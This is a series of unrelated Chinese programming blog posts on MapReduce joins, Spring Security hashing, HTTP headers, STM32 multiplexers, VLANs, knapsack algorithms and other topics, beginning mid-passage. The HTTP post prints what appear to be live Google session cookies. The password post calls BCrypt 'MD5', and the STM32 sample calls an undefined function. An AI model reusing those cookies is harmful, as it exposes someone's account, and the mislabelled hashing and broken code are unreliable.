Mapper中的数据去往Reducer的过程可以看做是Mapper将消息发送给Reducer,每当Mapper发出一个键值对,这个键的作用就好像是去往到目标地址(IP地址) 7.4-Reducer端连接: 如下图,左侧是事件日志,右侧是用户数据库,任务需要将用户活动和用户档案相关联: 整个连接的MapReduce过程如下: MapReduce框架通过键对Mapper输出进行分区,然后对键值对进行排序,使得具有相同ID的所有活动事件和用户记录在Reducer输入中彼此相邻。 Map-Reduce作业可以进一步让这些记录排序,使Reducer总能先看到来自用户数据库的记录,紧接着是按时间戳顺序排序的活动事件(二次排序/secondary sort) 然后Reducer可以执行实际的连接逻辑:每个用户ID都会被调用一次Reducer函数,且因为二次排序,第一个值应该是来自用户数据库的出生日期记录。 Reducer将出生日期存储在局部变量中,然后使用相同的用户ID遍历活动事件,输出已观看网址和观看者年龄的结果对。随后的Map-Reduce作业可以计算每个URL的查看者年龄分布,并按年龄段进行聚集 因为Mapper的输出是按键排序的,然后Reducer将来自连接两侧的有序记录列表合并在一起,所以这个算法被称为排序合并连接(sort-merge join) MapReduce实现这分组操作的方法是设置Mapper,使得Mapper生成的键值对使用所需的分组键 热键(hot pot)和倾斜连接(skewed join) : 热键是指记录中某个键记录数显著高于其他的键,热键关联是会产生倾斜关联(1个Reducer会处理比其他Reducer更多的记录);一般处理倾斜连接方式是分2次MR 7.5-Map端联接2: 在Reducer端连接中,排序,复制至Reducer,以及合并Reducer输入,所有这些操作可能开销巨大,如果数据具备某些特性,或许可以使用一些性能更优的连接方式,如: 1️⃣广播散列连接:在小表足够小的情况下,将小表读取到内存散列表中,然后Mapper扫描大表在散列表中查找每个事件 2️⃣ 分区散列连接:本质是GRACE Hash Join,在Hive中叫做:Map 端桶连接 3️⃣ Map端合并连接:本质是 sort-merge-join

MD5加密 spring securtiy

MD5加密 spring securtiy 1.MD5加密的说明,以及此方法的好处 MD5:不可逆的加密算法,但是一样的数据,每次加密的结果都一样。一般为了加强安全性,使用加盐的方式 MD5(“密码”+“盐值”),但是手动加盐值,挺复杂,下面的方法封装了加盐步骤,使用更方便 2.spring securtiy依赖 <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-web</artifactId> <version>5.3.2.RELEASE</version> </dependency> 3.使用方法 //前端传过来的密码参数 String password = "123456"; //加密:encode 方法自动加盐,即使100个一样的密码,加密后,都不一样 BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); String encode = passwordEncoder.encode(password); //加密后的密码 System.out.println(encode); //用明文密码和加密后的密码去匹配,返回密码是否正确 boolean matches = passwordEncoder.matches(password, encode); System.out.println(matches); //输出结果 $2a$10$VcWvGiuCMXThcq0GwOjRO.w1uR8U0.EwT9oa7Sj.MVe7tx1Ddo6qG true

HTTP协议简介

1.HTTP:HyperText Transfer Protocol(超文本传输协议) 2.HTTP协议的格式,一般包括4项内容(Request和Response相似,此处以Reqeust为例): 1)Request Line 2)Request Header 3)Blank Line 4)Request Body 3. 分别介绍4项内容:以google 中输入http后,点击search后,查看network中信息为例说明。 1) Request Line(一般基础进行) Request URL: https://www.google.com/search?q=http&rlz=1C1GCEV_enHK975HK975&oq=http&aqs=chrome..69i57j0i433i512j0i512l8.6507j0j15&sourceid=chrome&ie=UTF-8 Request Method: GET Status Code: 200 OK Remote Address: 10.142.4.67:8000 Referrer Policy: strict-origin-when-cross-origin 包含了URL,Method,StatusCode,Remote Address等。 2)Request Header(头部信息) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: keep-alive Cookie: AEC=AakniGMsBJSztCrW1DFHaO36yiND2jgK1461JsRvVHHsDOYVgy-i415RxI0; SID=JghWCfZEq1juDO38oNqmjlt6RNlD_Aix7h34R7iSHIIY_YIfGq7DGKbriF-9ZlkvsOnotQ.; __Secure-1PSID=JghWCfZEq1juDO38oNqmjlt6RNlD_Aix7h34R7iSHIIY_YIfLc8_ZexCma2e1zmEhBklpg.; __Secure-3PSID=JghWCfZEq1juDO38oNqmjlt6RNlD_Aix7h34R7iSHIIY_YIfXIRTmKkeKBgCnJcDVnXbYA.; HSID=AtpRiJXb5GNpsxVCq; SSID=Ael8470hqtZDmWkst; APISID=-93LsFMI-7n7P1Tz/AowBmHZsVYMOU6zKx; SAPISID=F6Tdv96Vrf6BQ728/AKWGVeCzYjlZ1FING; __Secure-1PAPISID=F6Tdv96Vrf6BQ728/AKWGVeCzYjlZ1FING; __Secure-3PAPISID=F6Tdv96Vrf6BQ728/AKWGVeCzYjlZ1FING; 1P_JAR=2022-04-24-01; NID=511=jwMwMgs6I6iLH8x7Ay5cZSeWycnmmZ5ihbJcW5-tdIgmt8V55yDmqZLlJ1iDioimVO_Lmgsw-px-OjPHsWixJgLq9iJ1Qp0Vz-_rs_4tigJKm4HXtssmmHronpXQzfGeh7xdodFETH0tHBnrY6Mvga-3Rdnt1-Ejh_mslEB3xMhg35-2H5xYmKq4ufOTBzn3SVRKAPKVVMVyRgrHknYN6NeN3rQnREERX_xYyDM3b_30vX1RVh7zFVcNbpTUva4; SIDCC=AJi4QfFZJeKOUDyNAYa-nwFBK87B4tGLA_XxN3Jbs4_xczGcdt0tptCCKBhpuea30yowDPwDnw; __Secure-3PSIDCC=AJi4QfGv13nqDPLL5ssML3q1kbt_hkNZ47laVfgQpsIxvoF93dWcHQTPWw2WApBBY-Vr53BVR5M Host: www.google.com sec-ch-ua: " Not A;Brand";v="99", "

解释器与编译器

理解这些概念: 1.翻译: 通常,我们写的代码,大部分都是高级语言(便于理解与应用),但计算机需要把高级语言变成机器能识别的语言(就是010101这样的比特流,本质是高电平/低电平)。这个过程叫翻译。 2.解释器: 一段代码。一条语句接着一条语句的执行,即:一边翻译,一边运行。 3.编译器: 一段代码。整个代码一次行翻译完,再运行。 Note: 一般来说,在速度和效率上,动态运行的解释型语言比编译型语言要低/慢。但有些场景上解释型有其自己的优势。 常见的解释型语言:Python,JavaScript 常见的编译型语言:C++,C,Java

Part5-1-3 Nodejs 通信

通信必要条件 主机之间需要有传输介质(网线,wifi,蓝牙) 主机上必须有网卡设备(调制与解调制,将电压与二进制数据进行转换) 主机之间需要协商网络速率 常见通讯方式 交换机通讯 路由器通讯 建立多台主机互联 定位局域网中的其他主机 通过 Mac 地址来唯一标识一台主机 但是交换机无法满足互联网需求: 交换机的接口数量有上限 局域网存在大量主机会造成广播风暴 明确目标主机 IP 地址 网络层次模型 OSI七层模型: 应用层:用户与网络的接口 表示层:数据加密、转换、压缩 会话层:控制网络连接建立与终止 传输层:控制数据传输可靠性 网络层:确定目标网络 数据链路层:确定目标主机 物理层:各种物理设备和标准 数据从 A 至 B,先封装再解封 TCP协议 TCP 属于传输层协议 TCP 是面向连接的协议 TCP 用于处理实时通信 常见控制字段 SYN = 1 表示请求建立连接 FIN = 1 表示请求断开连接 ACK = 1 表示数据信息确认 三次握手 创建 TCP 通信 Net 模块实现了底层通信接口 通信过程: 创建服务端:接收和回写客户端数据 创建客户端:发送和接收服务端数据 数据传输:内置服务事件和方法读写数据 通信事件: listening 事件:调用 server.listen 方法之后触发 connection 事件:新的连接建立时触发 close 事件:当 server 关闭时触发

Python3+RIDE+RobotFramework安装思路及排错

一.安装Python步骤: 安装——详情参照:Python下载及环境_小阿卷呀的博客-CSDN博客 重点:请勿安装Python3.10.x版本、请勿安装Python3.10.x版本、请勿安装Python3.10.x版本、————PS: wxpython库 不支持最新的3.10版本Python 二.RobotFramework安装: 命令:pip install robotframework (会安装最新版的RobotFramework,我的是5.0) 三.安装wxPython 命令:pip install wxPython == 4.0.7.post2(这个地方我推荐安装“4.0.7.post2”版本,因为其他版本会冲突,因人而异) 四.安装Ride 命令:pip install robotframework-ride(我本地是:1.7.4.2 版本) 五.安装protobuf 命令:pip install protobuf(我本地是:3.19.4 版本,推荐本地这个版本与上面的RF+RIDE搭配食用) 六.场景问题解决思路: 问题1:ERROR: tensorflow 1.13.1 has requirement tensorboard<1.14.0,>=1.13.0, but you’ll have tensorboard 1.11.0 which is incompatible. (类似这种版本高低不兼容的事情,在RF中经常遇见,具体错误具体处理) 解决方法: pip install tensorflow-tensorboard(版本高了,重新装下最新的tensorflow-tensorboard) 问题2:Ride乱码 修改python安装目录下,内容:Lib\site-packages\robotide\contrib\testrunner\testrunnerplugin.py 将565行的SYSTEM改成OUTPUT,重启RIDE即可 修改后: 七.我自己的环境版本都是多少?(当先正常可用版本如下,如你的环境始终有问题,我推荐直接按我这个版本下载): absl-py 1.0.0 astor 0.8.1 bleach 1.5.0 cached-property 1.5.2 cachetools 5.0.0 certifi 2021.10.8 charset-normalizer 2.0.12 coverage 6.3.2 ddt 1.4.4

解决AndroidStudio报错问题:Missing essential plugin

前言: 今天下载了Android4.2.0Canary14最新版,打开时突然报了一个错, 1.错误现象: AndroidStudio 无法正常打开,打开之后弹出报错窗口显示:Missing essential plugin: org.jetbrains.android Please reinstall Android Studio from scratch. 2.错误原因: 更新插件后Android StudioPlugins中某个选项被取消勾选。 3.解决方法: 找到 .AndroidStudio4.2 文件夹中的 disabled_plugins.txt, 删除某行或者删除整个文件。 4.这里我的是org.jetbrains.android这行,如果不行就删除整个文件 5.重新打开Android Studio正常启动,项目也能运行起来.

Qt添加资源

Qt添加资源 1.准备好资源,并复制粘贴到当前项目中。 右击右侧导航栏中任意的cpp文件,在弹出的菜单栏中选择“在Explorer中显示”,进入项目目录,复制 粘贴资源文件。 2.添加资源文件 右击项目,选择"Add New",点击Qt文件,选择“Qt Resource File”,点击“choose”,填写资源名称。 3.添加资源 点击界面的“添加”按钮,首先添加“前缀”;不同的前缀是用来区分不同的资源的,这里直接用“/”代替。点击“添加”按钮,添加“文件”。 4.构建项目 5应用 使用添加Qt资源 “: + 前缀名 + 文件名”

STM32控制CD74HC4067十六通道模拟开关以及遇到的一些问题

STM32控制CD74HC4067十六通道模拟开关 CD74HC4067STM32控制原理和代码出现的问题以及解决方法 CD74HC4067 CD74HC4067 作用是选通一路对十六路模拟信号,更详细的说,根据芯片上 S0-S3 四个不同管脚的组合,让SIG管脚和C0-C15导通。因此,最常见的用法是用来测试模拟信号。比如,Arduino Uno上面只有6个模拟输入,用一个CD74HC4067可以多扩展出来16个,于是可以支持 6+16-1=21个模拟引脚。 一开始原理图上没注意使能引脚接地的,默认是使能状态,换句话说,EN使能引脚是可以通过电平控制的(后面在做项目的时候由于默认低电平使能吃亏了)后面我会在具体说。(高电平断开 低电平使能) STM32控制原理和代码 一开始默认使能状态,就直接通过S0-S3引脚的组合来控制C0-C15(16个通道的导通就可以了) 具体的代码思路就是把四个使能的引脚写到一个数组当中,然后用一个二维数组模拟出16个通道的情况,在用循环把4个通道的情况写入。不多说,具体看代码。 // 写入到函数当中,方便MAIN中调用 void readMux1(int channel) { int controlpin[4]={GPIO_PIN_12,GPIO_PIN_13,GPIO_PIN_14,GPIO_PIN_15}; //这里我使用的是PB12-PB14 int i; int muxChannel[16][4]= { {0,0,0,0}, //channel 0 {1,0,0,0}, //channel 1 {0,1,0,0}, //channel 2 {1,1,0,0}, //channel 3 {0,0,1,0}, //channel 4 {1,0,1,0}, //channel 5 {0,1,1,0}, //channel 6 {1,1,1,0}, //channel 7 {0,0,0,1}, //channel 8 {1,0,0,1}, //channel 9 {0,1,0,1}, //channel 10 {1,1,0,1}, //channel 11 {0,0,1,1}, //channel 12 {1,0,1,1}, //channel 13 {0,1,1,1}, //channel 14 {1,1,1,1} //channel 15 }; for(i = 0; i < 4; i ++) { HAL_GPIO_WritePin(GPIOB,controlpin[i],muxChannel[channel][i]); } } // MAIN函数的调用 int main() { for(j = 0; j < 16; j++) { readMux(j); //调用需要配置的通道 HAL_Delay(1); //这里配置完一个通道需要进行延迟,不然通道会出现问题 } return 0; } 出现的问题以及解决方法 因为项目的需要,需要两个模拟开关对32个通道进行循环开启,所以直接就把两个模拟开关打在同一个板子上面,并且两个使能引脚同时接地,以为没有问题,结果程序写好之后,发现两个芯片会产生干扰,一个模拟开关的通道会影响另一个模拟开关的所有通道。最后找了半天问题发现两个开关不能同时使能工作。解决方法就是把两个开关的使能引脚接入MCU,通过MCU来进行使能。

[深度学习 - 发现有趣项目] 动漫图生成手绘草图 Anime2Sketch

我公司的科室开始在公众号上规划一些对外的技术文章了,包括实战项目、模型优化、端侧部署和一些深度学习任务基础知识,而我负责人体图象相关技术这一系列文章,偶尔也会出一些应用/代码解读等相关的文章。 文章在同步发布至公众号和博客,顺带做一波宣传。有兴趣的还可以扫码加入我们的群。 (文章有写的不好的地方请见谅,另外有啥错误的地方也请大家帮忙指出。) 微信公众号:AI炼丹术 【趣味AI项目】动漫图生成手绘草图 Anime2Sketch 技术简述 文章链接:https://arxiv.org/abs/2104.05703 代码链接:https://github.com/Mukosame/Anime2Sketch (基于上面文章实现的。) (1)手绘草图生成 ​ 手绘草图生成的主要目的是从一张彩色实物图提取出它的素描勾线信息,类似于一个边缘轮廓检测的任务。实际上作者文章实现的是从草图到图像以及从图像到草图两个模块,也就是两个生成模型。 ​ 这里面主要存在的问题是缺少训练数据集,我们并不能找到一堆图像以及与之对应的草图。即使现在开源的一个草图数据集 SketchyCOCO 也没有完全一致的草图。(如下图,源自SketchyCOCO论文:https://arxiv.org/pdf/2003.02683.pdf)也就是一般解决训练集这个问题的做法是通过使用假草图来代替真实草图来训练。可以看出差距还是蛮大的,因此对模型的学习不太友好。 ​ 这里的论文(Adversarial Open Domain Adaption for Sketch-to-Photo Synthesis)的作者主要介绍一种开放域 open-domain的方式来混淆生成器,使生成器在真假学习之间有个模糊的界限,来解决上面所提到的问题。 (2)Anime2Sketch 效果展示 Anime2Sketch: A sketch extractor for illustration, anime art, manga ​ Anime2Sketch 源码实现的是从漫画到草图的生成,仓库代码开源于2021.4.8,但是只提供了测试代码以及预训练模型,并未开源训练代码及相关细节。而代码所使用的技术即论文(Adversarial Open Domain Adaption for Sketch-to-Photo Synthesis)。 ​ 测试了预训练效果,感觉还不错。可以通过模型,将自己在纸上手绘的图画转换成线稿图输入电脑进行上色。 模型网络结构概述 ​ 模型由两个生成模型、两个判别模型以及一个分类器组成。如上图所示,GA是一个真实图到草图的生成器、GB是一个草图到真实图的多类别生成器;DA、DB分别是草图判别器和真实图片判别器。除此之外还有一个分类器R。生成器的结构很简单,就是使用的Unet结构;判别器和分类器源码里面没有,论文里面也没提及具体结构。 ​ 模型这样做的特点是可以使用不成对的草图和真实图像数据进行训练。理由如上面说的,数据集方面我们很难去收集到成对的真实图片及其草图。因此模型不要求你每个图片都有唯一一个标签,但是需要图片有其相应类别。 ​ 主要通过优化训练策略,是模型学习到图片到草图和草图到图片的联合转化,减小合成草图和真实草图的domain gap。 代码实战 (1)运行环境 环境很简单,而且不一定需要gpu,模型在cpu下也能运行。 Python:3.7 torch torchvision Pillow gradio torchtext (2)运行步骤 ① 从github 上将代码clone下来;

手势识别(一) - 项目概述与简单应用介绍

我公司的科室开始在公众号上规划一些对外的技术文章了,包括实战项目、模型优化、端侧部署和一些深度学习任务基础知识,而我负责人体图象相关技术这一系列文章,偶尔也会出一些应用/代码解读等相关的文章。 文章在同步发布至公众号和博客,顺带做一波宣传。有兴趣的还可以扫码加入我们的群。 (文章有写的不好的地方请见谅,另外有啥错误的地方也请大家帮忙指出。) (另外,文章引用的图片or代码如有侵权,请联系我删除。) 微信公众号:AI炼丹术 【手把手教学】手势识别(一) - 项目概述与简单应用介绍 handpose 一、项目概述 ​ 在生活中,我们可以用嘴去和别人说话、沟通;也可以用文本去作为交流的媒介。除此之外,我们也常用手势去传递信息。例如,将食指比在嘴巴处表示闭嘴/不要吵;挥挥手表示打招呼或再见;竖起大拇指表示赞赏;交警会在十字路口通过手势指挥秩序……所以手势是我们生活中人与人交流的一种重要方式。在AI快速发展的时代,我们也想让机器能够和人一样,能够理解人的手势信息,并且做出反应。 ​ 所以,今天小编来教大家如何实现手势识别,即让机器看懂你的手势代表什么。 ​ 手势识别类似于人体动作识别,常用的基于深度学习的方法有,基于图像序列的LSTM动作识别、基于3D卷积的视频分类以及基于关键点的动作识别。目前主流的方法应该都是基于关键点序列做的动作识别,所以本文我主要也是通过一个手指关键点识别(hand-pose)的项目来开启手势识别的教学。 二、技术简述 & 项目讲解 参考项目:https://codechina.csdn.net/EricLee/dpcas ​ 这个项目是一个大佬写的各种小模块功能集成的系统。包括手部检测、跟踪、手势动作识别、人脸检测、安全帽检测、物体分类等等……有兴趣的朋友可以直接跳转过去仓库作详细了解。对代码有不理解的地方也可以通过issue请教仓库作者。 ​ 本文就借这个项目里面手势部分的代码,来讲解手势识别的具体流程和思路。 1. 手部检测 ​ 首先,我们通过一个检测模型去检测到手部。这里作者再dpcas中使用的是yoloV3模型。不过我看作者EricLee的仓库中最近也发布了yolov5的检测模型,但是目前看还未替换进行dpcas中。另外,我们也可以根据自己的场景去使用不同的检测模型。 ​ 检测模型训练部分可以到https://codechina.csdn.net/EricLee/yolo_v3下查看,该项目数据集采用 TV-Hand 和 COCO-Hand (COCO-Hand-Big 部分) 进行制作。TV-Hand 和 COCO-Hand数据集官网地址 http://vision.cs.stonybrook.edu/~supreeth/。这些数据集我也看过,更多是偏向自然场景的手部,所以手都会偏小。所以在很多相机前的画面上,检测的精度不是很高(具体表现在视频中可能出现连续的几帧中有检测丢失),因此我们可以尝试去采集适用场景下的数据集对模型进行重新训练或finetune。 ​ 模型检测部分作者封装了一个检测模型的类对象,通过 def init 配置好模型的参数,如模型权重路径(model_path)、模型类型(model_arch)、图片大小(img_size)、置信度阈值(conf_thres)、nms阈值(nms_thres)…我们也可以尝试替换成自己的检测模型。 ​ 然后通过一个预测函数,def predict(self, img_,vis),实现对模型的推理,返回检测到的目标坐标位置。部分代码如下所示,也可以直接通过下面链接跳转到检测模型的位置。 参考代码:https://codechina.csdn.net/EricLee/dpcas/-/blob/master/components/hand_detect/yolo_v3_hand.py class yolo_v3_hand_model(object): def __init__(self, model_path = './components/hand_detect/weights/latest_416-2021-02-19.pt', model_arch = 'yolov3', yolo_anchor_scale = 1., img_size=416, conf_thres=0.16, nms_thres=0.4,): print("yolo v3 hand_model loading : {}"

整理学习之深度可分离卷积

一、分组卷积 分组卷积Group convolution是将输入层的不同特征图进行分组,然后采用不同的卷积核再对各个组进行卷积,这样会降低卷积的计算量。 普通卷积: 分组卷积 将图一卷积的输入feature map分成g组,每个卷积核也相应地分成组,在对应的组内做卷积 图中分组数,即上面的一组feature map只和上面的一组卷积核做卷积,下面的一组feature map只和下面的一组卷积核做卷积。每组卷积都生成一个feature map,共生成2个feature map。 输入feature map尺寸: 分别对应feature map的宽,高,通道数; 单个卷积核尺寸: 分别对应单个卷积核的宽,高,通道数; 输出feature map尺寸 :输出通道数等于卷积核数量,输出的宽和高与卷积步长有关。 可以看到,分组卷积可以用同等的参数量运算量生成g个feature map group conv常用在轻量型高效网络中,因为它用少量的参数量和运算量就能生成大量的feature map,大量的feature map意味着能够编码更多的信息! 从分组卷积的角度来看,分组数g就像一个控制旋钮,最小值是1,此时g=1的卷积就是普通卷积;最大值是输入feature map的通道数C,此时g=C的卷积就是depthwise sepereable convolution,即深度分离卷积,又叫逐通道卷积。 深度分离卷积是分组卷积的一种特殊形式,其分组数是feature map的通道数。即把每个feature map分为一组,分别在组内做卷积为,组内一个卷积核生成一个feature map。这种卷积形式是最高效的卷积形式,相比普通卷积,用同等的参数量和运算量就能够生成个feature map,而普通卷积只能生成一个feature map。 所以深度分离卷积几乎是构造轻量高效模型的必用结构。 深度可分离卷积 深度可分离卷积 = 深度卷积(Depthwise Convolution) + 逐点卷积(Pointwise Convolution)。 深度可分离卷积将一个核分裂成两个独立的核,分别做两个卷积:深度卷积和点向卷积。 为什么一定要同时考虑图像区域和通道?我们为什么不能把通道和空间区域分开考虑? 深度可分离卷积提出了一种新的思路:对于不同的输入channel采取不同的卷积核进行卷积,它将普通的卷积操作分解为两个过程。 常规普通卷积 假设我们有一个12x12x3像素的输入图像,我们对图像做一个5×5的卷积,不加填充,步幅为1。如果我们只考虑图像的宽度和高度,卷积过程是这样的:12×12 – (5×5) – >8×8。我们最终得到一个8×8像素的图像。 由于图像有3个通道,卷积核也需要有3个通道。这意味着,不是做5×5=25次乘法,而是内核每移动一次时做5x5x3=75次乘法。 我们对每25个像素做标量矩阵乘法,输出一个数字。在经过5x5x3内核之后,12x12x3图像将变成8x8x1图像。 如果我们想增加输出图像中的通道数量呢?如果我们想要大小为8x8x256的输出呢? 我们可以创建256个内核来创建256个8x8x1图像,然后将它们堆叠在一起,创建出8x8x256图像输出。 这就是正常卷积的工作原理。 深度可分离卷积将这个过程分为两部分:深度卷积和点向卷积。 Depthwise Convolution完成后的Feature map数量与输入层的通道数相同,无法扩展Feature map。而且这种运算对输入层的每个通道独立进行卷积运算,没有有效的利用不同通道在相同空间位置上的feature信息。因此需要Pointwise Convolution来将这些Feature map进行组合生成新的Feature map 第1部分-深度卷积: 在第一部分深度卷积中,我们在不改变深度的情况下,对输入图像进行了分组卷积。我们使用3个5x5x1形状的内核。

CommonJS 、ES6模块化规范区别

CommonJS 、ES6模块化规范区别 一、什么是CommonJS 我们知道Node.js的实现让js也可以成为后端开发语言, 但在早先Node.js开发过程中,它的作者发现在js中并没有像其他后端语言一样有包引入和模块系统的机制。 这就意味着js的所有变量,函数都在全局中定义。这样不但会污染全局变量,更会导致暴露函数内部细节等问题。 CommonJS组织也意识到了同样的问题,于是 CommonJS组织创造了一套js模块系统的规范。我们现在所说的CommonJS指的就是这个规范。 CommonJS 规定: (1)每个模块内部,module 变量代表当前模块。 (2)module 变量是一个对象,它的 exports 属性(即 module.exports)是对外的接口。 (3)加载某个模块,其实是加载该模块的 module.exports 属性。require() 方法用于加载模块。 二、两者区别 在 ES6 之前,社区制定了一些模块加载方案,最主要的有 CommonJS 和 AMD 两种。前者用于服务器,后者用于浏览器。ES6 在语言标准的层面上,实现了模块功能,而且实现得相当简单,完全可以取代 CommonJS 和 AMD 规范,成为浏览器和服务器通用的模块解决方案。 ES6 模块的设计思想是尽量的静态化,使得编译时就能确定模块的依赖关系,以及输入和输出的变量。CommonJS 和 AMD 模块,都只能在运行时确定这些东西。 1.语法上的差异 CommonJS 模块是 Node.js 专用的,与 ES6 模块不兼容。而ES6模块化在浏览器和node.js中都可以用。语法上面,两者最明显的差异是,CommonJS 模块使用require()和module.exports,ES6 模块使用import和export。在node.js使用模块化,需要将 CommonJS 脚本的后缀名都改成.cjs,ES6 模块采用.mjs后缀文件名。或者修改package.son里面的文件,type字段为module或commonjs。 2. 什么是运行时加载呢? // CommonJS模块 let { stat, exists, readfile } = require('fs'); // 等同于 let _fs = require('fs'); let stat = _fs.

Linux Ubuntu18.04 gcc 编译时报错->在函数‘_start’中: (.text+0x20):对‘main’未定义的引用

目录 使用gcc编译时出现 :(.text+0x20):对‘main’未定义的引用错误显示解决办法我的过程我的错误是因为: make、Makefile 小知识 使用gcc编译时出现 :(.text+0x20):对‘main’未定义的引用 错误显示 /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o:在函数‘_start’中: (.text+0x20):对‘main’未定义的引用 collect2: error: ld returned 1 exit status 解决办法 刚开始在CSDN搜索了很多方法,对我的错误都没有解决的效果,直到后来我发现有可能是我代码写错的原因,并不是!!main()函数没写或者是写错的原因! 我的过程 我写了3个文件:hello1.c hello2.c hello2.h 其内容如下: 查看文件内容命令: cat hello1.c hello2.c hello2.h 显示: 我发现这写的代码和之前写的不太一样:#include <stdio.h>应该放在.h文件上。 于是,修改为: 这样比较简洁一点,其实两种都可以的,刚刚试了一遍。 我的错误是因为: 我写把gcc 的 "-c -o: 写成大写了, 应该是小写的。 其次,我是使用 makefile 编译的。 makefile内容: 输入命令:make,显示: 输入运行命令:./hello ,显示: make、Makefile 小知识 什么是make?什么是Makefile?其主要作用是什么?默认情况下,GNU make 工具在当前工作目录按什么顺序搜索makefile? 答: make: make是Linux操作系统中用于管理软件项目的一种工具,能够高效地将项目文件组织起来。 make是一个命令工具,它用来解释makefile中定义的指令或规则。 Makefile: makefile文件用来描述源程序之间的相互关系并自动维护编译工作,即描述了整个工程的编译、连接等规则。其中包括:工程中哪些源文件需要编译以及如何编译、需要创建哪些库文件以及如何创建这些库文件,如何最后产生可执行文件。 GNU make 工具在当前工作目录下按照文件名顺序寻找 makefile文件读取并执行,查找的文件名顺序为:“GNUmakefile”、“makefile”、“Makefile”。

VLAN的基本配置

VLAN的基本配置 文章目录 VLAN的基本配置1.VLAN概述1)广播域的概念2)分割广播域3)VLAN概述4)VLAN优势: 2.实验3.小结 1.VLAN概述 1)广播域的概念 广播域:广播是一种信息的传播方式,指网络中的某一设备同时向网络中所有的其它设备发送数据,这个数据所能广播到的范围即为广播域。 在传统的交换式以太网中,所有的用户都在同一个广播域中,当网络规模扩大时,广播包的数量会急剧增加,当广播包的数量占到总量的30%是,网络的传输效率将会明显下降。特别是当某网络设备出现故障后,就会不停地向网络发送广播,从而导致广播风暴,使网络通信陷于瘫痪。 2)分割广播域 物理分割:通过路由器进行分隔 逻辑分割:通过VLAN分隔 3)VLAN概述 VLAN(Virtual Local Area Network)的中文名为"虚拟局域网"。是一组逻辑上隔离的设备和用户。这些设备和用户不受物理位置限制,可根据部门或组等进行灵活划分,保障信息安全,同时隔绝广播信息,提升网络效能,防止广播风暴的产生。 4)VLAN优势: 控制广播 每个VLAN都是一个独立的广播域,这样就减少了广播对网络带宽的占用,提高了网络传输效率,并且一个VLAN出现了广播风暴不会影响其它的VLAN。 增强网络安全性 由于只能在同一VLAN内的端口之间交换数据,不同的VLAN的端口之间不能直接访问,因此VLAN可以限制个别主机访问服务器等资源,所以,通过VLAN可以提高网络的安全性。 简化网络管理 对于交换式以太网,如果对某些用户重新进行网段分配,需要网络管理员对网络系统的物理结构重新进行调整,甚至需要追加网络设备,增大网络管理的工作量。而对于采用VLAN技术的网络来说,一个VLAN可以根据部门职能、对象组或者应用将不同地理位置的网络用户划分为一个逻辑网段。在不改动网络物理连接的情况下可以任意地将工作站在工作组或子网之间移动。利用虚拟网络技术,大大减轻了网络管理和维护工作的负担,降低了网络维护费用。在一个交换网络中,VLAN提供了网段和机构的弹性组合机制。 2.实验 要求PC1和PC3ping通,PC2和PC4ping通,而PC1不能和PC4ping通,PC2不能和PC3ping通 首先,建议关闭系统消息并重新命名 建立VLAN,可以一次添加 格式【SW1】vlan batch 10 20 30 40 添加完毕后【SW1】dis vlan 查看 也可以一个个添加 格式【SW2】vlan 10 ​ 【SW2】vlan 20 ​ 【SW2】vlan 30 ​ 【SW2】vlan 40 改变端口模式,把端口分配特定的VLAN里 配置中继端口,定义中继模式 以上完成后尝试是否可以ping通 PC1和PC3ping通,PC1和PC4不能ping通 PC2和PC4ping通,PC2和PC3不能ping通 3.小结 注意端口模式配置 Access,介入模式Trunk,中继模式Hybrid,混杂模式 1.Access类型,端口只能属于1个VLAN,一般用于连接计算机的端口; 2.Trunk类型,端口可以允许多个VLAN通过,可以接收和发送多个VLAN的报文,一般用于交换机之间连接的端口; 3.Hybrid类型,端口可以允许多个VLAN通过,可以接收和发送多个VLAN的报文,可以用于交换机之间连接,也可以用于连接用户的计算机。

基于分支限界的0-1背包问题

一、实验目的 1.掌握基于分支限界的算法求解0-1背包问题的原理和编写分支限界函数的具体步骤。 2.掌握分支限界法的基本思想并通过求解0-1背包问题体会使用优先队列分支限界的方法,从而理解分支限界算法的基本求解过程。 3.体会分支限界算法求解问题的便利和所编写程序的明确结构和良好的可读性。 4.具备运用分支限界算法的思想设计算法并用于求解其他实际应用问题的能力。 5.从算法设计分析角度,对比学习分支限界法求解问题与回溯法求解问题的不同思路,从而对0-1背包问题基于分支限界法求解有更进一步的理解。 二、实验环境 操作系统:Windows 10 文本编辑器:Visual Studio Code 实验语言和编译器:C++ 编译器:gcc 8.1.0 实验终端:Windows PowerShell 三、实验内容 现在给定N个物品,每个物品的重量为w(即物品i的重量为wi),给定一个背包,背包的容量为c,0-1背包问题要解决的是,通过选择装入背包中的物品,使得所选择物品的重量之和w在小于等于背包容量的情况下,使得装入背包的物品的价值为所有选择之中最大的那个。 0-1背包问题有如下限制,对于每种物品i,有两种选择,装入或不装如(装入为1,不进行装入为0),既不能装入多次,也不能只装入一部分。 I 1 2 3 4 W(重量) 3 5 2 1 P(价值) 9 10 7 4 例如若当前背包容量为9,有4个物体,各个物体的重量和价值如上图所示:则通过分析可知,最优解为装入价值为9,10,4的物品,最优价值为23,下面将通过回溯算法实现求解该01背包问题。 程序输入,首先输入物品的数量n和背包的容量c,并依次输入n个物品的重量wi和每个物品的价值pi,程序要求输出为可以得到的最优价值和达到最优值所装入的物品序号。 四、算法描述 通过分析问题可知,0-1背包问题为整数线性规划中的01规划问题 对于回溯算法,将这n个物品装入背包,每个物品对应两个状态,装入背包或不装入背包。第i中物品对应(x1,x2,…,xn),其中xi可以取0或1,分别表示将该物品装入背包或不装入背包。解空间有2^n种可能的解法,也就是n个元素组成的集合所有子集的个数,该集合可以采用一棵满二叉树将该解空间组织起来,解空间的深度为问题的规模n。 使用优先队列式分支限界法求解0-1背包问题搜索解空间的策略是,在扩展结点处(对应代码中E),先生成其所有的儿子节点(分支),再从当前的优先队列中选择下一个扩展结点,为了加速搜索的过程,在每个活结点处都先计算一个函数值(限界,使用Bound函数实现),并根据函数值从优先队列中选择最优的结点作为扩展结点,使得搜索朝着解空间中有最优解的分支前进,增加搜索的速度。 在优先队列的实现中,物品由结构体obj表示,结构体中的成员p表示物品的价值,成员w表示物品的重量,double成员pDivW表示物品的单位价值。 